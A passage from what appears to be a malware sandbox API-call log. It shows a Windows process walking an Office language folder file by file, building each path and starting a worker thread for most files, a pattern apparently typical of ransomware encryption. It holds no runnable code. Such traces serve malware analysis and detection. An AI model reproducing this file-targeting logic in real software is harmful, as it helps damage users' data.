| out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0097.940] wcscmp (_String1="CERTINTL.DLL", _String2=".") returned 1 [0097.940] wcscmp (_String1="CERTINTL.DLL", _String2="..") returned 1 [0097.940] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0097.940] wcscmp (_String1="CLVWINTL.DLL", _String2=".") returned 1 [0097.940] wcscmp (_String1="CLVWINTL.DLL", _String2="..") returned 1 [0097.940] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0097.940] wcscmp (_String1="CMAXRES.DLL", _String2=".") returned 1 [0097.940] wcscmp (_String1="CMAXRES.DLL", _String2="..") returned 1 [0097.940] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0097.940] wcscmp (_String1="COFFEE.CSS", _String2=".") returned 1 [0097.940] wcscmp (_String1="COFFEE.CSS", _String2="..") returned 1 [0097.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8691c0 [0097.940] wcscpy (in: _Dest=0x1b8691c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.940] wcscat (in: _Dest=0x1b8691c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.940] wcscat (in: _Dest=0x1b8691c0, _Source="COFFEE.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" [0097.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8691c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1350 [0097.941] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="COLLEC~1.XSN")) returned 1 [0097.941] wcscmp (_String1="CollectSignatures_Init.xsn", _String2=".") returned 1 [0097.941] wcscmp (_String1="CollectSignatures_Init.xsn", _String2="..") returned 1 [0097.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027b7d0 [0097.941] wcscpy (in: _Dest=0x2027b7d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.941] wcscat (in: _Dest=0x2027b7d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.941] wcscat (in: _Dest=0x2027b7d0, _Source="CollectSignatures_Init.xsn" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" [0097.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1354 [0097.942] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="COLLEC~2.XSN")) returned 1 [0097.942] wcscmp (_String1="CollectSignatures_Sign.xsn", _String2=".") returned 1 [0097.942] wcscmp (_String1="CollectSignatures_Sign.xsn", _String2="..") returned 1 [0097.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027b870 [0097.942] wcscpy (in: _Dest=0x2027b870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.942] wcscat (in: _Dest=0x2027b870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.943] wcscat (in: _Dest=0x2027b870, _Source="CollectSignatures_Sign.xsn" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" [0097.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027b870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1358 [0097.943] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0097.943] wcscmp (_String1="ContactPickerIntl.dll", _String2=".") returned 1 [0097.943] wcscmp (_String1="ContactPickerIntl.dll", _String2="..") returned 1 [0097.943] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0097.944] wcscmp (_String1="CT_ROOTS.XML", _String2=".") returned 1 [0097.944] wcscmp (_String1="CT_ROOTS.XML", _String2="..") returned 1 [0097.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202ae9b0 [0097.944] wcscpy (in: _Dest=0x202ae9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.944] wcscat (in: _Dest=0x202ae9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.944] wcscat (in: _Dest=0x202ae9b0, _Source="CT_ROOTS.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" [0097.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x135c [0097.944] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="DATASE~1")) returned 1 [0097.944] wcscmp (_String1="DataServices", _String2=".") returned 1 [0097.944] wcscmp (_String1="DataServices", _String2="..") returned 1 [0097.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aea40 [0097.945] wcscpy (in: _Dest=0x202aea40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.945] wcscat (in: _Dest=0x202aea40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.945] wcscat (in: _Dest=0x202aea40, _Source="DataServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" [0097.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202aea40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1360 [0097.945] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0097.945] wcscmp (_String1="DBENGR.VSL", _String2=".") returned 1 [0097.945] wcscmp (_String1="DBENGR.VSL", _String2="..") returned 1 [0097.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b869240 [0097.945] wcscpy (in: _Dest=0x1b869240, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.945] wcscat (in: _Dest=0x1b869240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.945] wcscat (in: _Dest=0x1b869240, _Source="DBENGR.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" [0097.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1364 [0097.946] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0097.946] wcscmp (_String1="DBSAMPLE.MDB", _String2=".") returned 1 [0097.946] wcscmp (_String1="DBSAMPLE.MDB", _String2="..") returned 1 [0097.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202aead0 [0097.946] wcscpy (in: _Dest=0x202aead0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.946] wcscat (in: _Dest=0x202aead0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.946] wcscat (in: _Dest=0x202aead0, _Source="DBSAMPLE.MDB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" [0097.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aead0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1368 [0097.947] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0097.947] wcscmp (_String1="DBWIZ.VSL", _String2=".") returned 1 [0097.947] wcscmp (_String1="DBWIZ.VSL", _String2="..") returned 1 [0097.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8692c0 [0097.947] wcscpy (in: _Dest=0x1b8692c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.947] wcscat (in: _Dest=0x1b8692c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.947] wcscat (in: _Dest=0x1b8692c0, _Source="DBWIZ.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" [0097.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8692c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c [0097.948] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0097.948] wcscmp (_String1="DEFAULT.CSS", _String2=".") returned 1 [0097.948] wcscmp (_String1="DEFAULT.CSS", _String2="..") returned 1 [0097.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b869340 [0097.948] wcscpy (in: _Dest=0x1b869340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.948] wcscat (in: _Dest=0x1b869340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.948] wcscat (in: _Dest=0x1b869340, _Source="DEFAULT.CSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" [0097.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1370 [0097.949] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="DISCUS~1.GTA")) returned 1 [0097.949] wcscmp (_String1="Discussion.gta", _String2=".") returned 1 [0097.949] wcscmp (_String1="Discussion.gta", _String2="..") returned 1 [0097.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202aeb60 [0097.949] wcscpy (in: _Dest=0x202aeb60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.949] wcscat (in: _Dest=0x202aeb60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.949] wcscat (in: _Dest=0x202aeb60, _Source="Discussion.gta" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" [0097.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aeb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1374 [0097.950] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="DISCUS~2.GTA")) returned 1 [0097.950] wcscmp (_String1="Discussion14.gta", _String2=".") returned 1 [0097.950] wcscmp (_String1="Discussion14.gta", _String2="..") returned 1 [0097.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202aebf0 [0097.950] wcscpy (in: _Dest=0x202aebf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0097.951] wcscat (in: _Dest=0x202aebf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0097.951] wcscat (in: _Dest=0x202aebf0, _Source="Discussion14.gta" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" [0097.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aebf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1378 [0097.951] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0097.951] wcscmp (_String1="DL_RES.DLL", _String2=".") returned 1 [0097.951] wcscmp (_String1="DL_RES.DLL", _String2="..") returned 1 [0097.951] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0099.624] wcscmp (_String1="DOORSCHD.VRD", _String2=".") returned 1 [0099.625] wcscmp (_String1="DOORSCHD.VRD", _String2="..") returned 1 [0099.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c840 [0099.625] wcscpy (in: _Dest=0x1b85c840, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0099.625] wcscat (in: _Dest=0x1b85c840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0099.625] wcscat (in: _Dest=0x1b85c840, _Source="DOORSCHD.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" [0127.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x152c [0127.699] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0127.699] wcscmp (_String1="DRILLDWN.VSL", _String2=".") returned 1 [0127.699] wcscmp (_String1="DRILLDWN.VSL", _String2="..") returned 1 [0127.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af460 [0127.700] wcscpy (in: _Dest=0x202af460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.700] wcscat (in: _Dest=0x202af460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.700] wcscat (in: _Dest=0x202af460, _Source="DRILLDWN.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" [0127.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d8 [0127.702] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0127.702] wcscmp (_String1="DWGCNV.VSL", _String2=".") returned 1 [0127.702] wcscmp (_String1="DWGCNV.VSL", _String2="..") returned 1 [0127.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866dc0 [0127.702] wcscpy (in: _Dest=0x1b866dc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.702] wcscat (in: _Dest=0x1b866dc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.702] wcscat (in: _Dest=0x1b866dc0, _Source="DWGCNV.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" [0127.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: 